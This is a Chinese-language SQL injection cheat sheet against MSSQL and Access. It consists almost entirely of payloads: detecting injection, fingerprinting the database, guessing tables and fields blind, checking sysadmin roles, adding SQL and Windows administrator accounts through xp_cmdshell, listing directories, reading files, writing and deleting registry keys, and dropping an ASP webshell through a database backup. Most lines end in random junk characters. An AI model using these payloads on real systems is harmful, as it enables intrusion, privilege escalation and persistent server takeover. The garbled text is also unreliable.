1.判断是否有注入;and 1=1 ;and 1=2 ,[<$X{9
2.初步判断是否是mssql ;and user>0 %CQv&d2
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3.注入参数是字符'and [查询条件] and ''=' izu_1X
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' VAA="yN
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5.判断数据库系统 yd[4l%G(zS
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;and (select count(*) from sysobjects)>0 mssql E=91k.
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;and (select count(*) from msysobjects)>0 access FiSx"o
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 @>&b&uj7T
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 xVRxKM5 {
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]x(6^:D5
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9.(1)猜字段的ascii值(access) +S'm<}"1
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >v f-,B
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(2)猜字段的ascii值(mssql) Ti7
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ]Inu'p\
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10.测试权限结构(mssql) &[SFl{fx>-
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1K(mdL{m5
OUFy=5(%:
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- g<7Aln}Nl\
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- eI-SWwmv/u
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- vif)g6,
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- u /DE
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- %3AE2"
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;and 1=(select IS_MEMBER('db_owner'));-- $F[+H Wf
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11.添加mssql和系统的帐户 4jGN:*kZ
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;exec master.dbo.sp_addlogin username;-- !0P:G#o-$
;exec master.dbo.sp_password null,username,password;-- Ul6|LTY
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0pG +yec
:U=3*f.{
;exec master.dbo.xp_cmdshell 'net user username password &328pOT4
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- l9OpaOVfJ
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4_sJ0 =z-
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *wY+yoj
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12.(1)遍历目录 'o4`GkNh)
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;create table dirs(paths varchar(100), id int) ?1c7wEk
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;insert dirs exec master.dbo.xp_dirtree 'c:\' RAk"C!&^m
')~V=F
;and (select top 1 paths from dirs)>0 zwRF-{s
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Ea][:3
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);_ /0:
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(2)遍历目录 @$ Nti>
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }{j@q~w>$
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0Zp5y@V8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 qg1\ABH
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 U`8Er48X
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 l2YClK
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13.mssql中的存储过程 d$x vEm
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xp_regenumvalues 注册表根键, 子键 jO5R ~O`
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 n1JV)4Mv
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xp_regread 根键,子键,键值名 ~@PD\
=M4:nt
;exec xp_regread E`(=n(Qu
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8 @(?E[&O>
&4} =@'G@
xp_regwrite 根键,子键, 值名, 值类型, 值 lw}7kp4
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 iu*&Jz)D>
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 $N}t)iA
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xp_regdeletevalue 根键,子键,值名 _h \L6.
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 R"JXWw
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 @R%qP>_
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14.mssql的backup创建webshell [
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use model o3|4PAA/
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create table cmd(str image); t$Ff$(
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insert into cmd(str) values (''); F<6(Hw#>
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backup database model to disk='c:\l.asp'; I;E?;i
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15.mssql内置函数 R-NM ~gp
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;and (select @@version)>0 获得Windows的版本号 S ;rd0+J
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa %CvVu)tc
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;and (select user_name())>0 爆当前系统的连接用户 =M*pym]QSY
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;and (select db_name())>0 得到当前连接的数据库 =$gBWS
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16.简洁的webshell sK+uwt
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use model
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create table cmd(str image); %(khE-SW
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insert into cmd(str) values (''); =gR/ t@Ld
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backup database model to disk='g:\wwwtest\l.asp';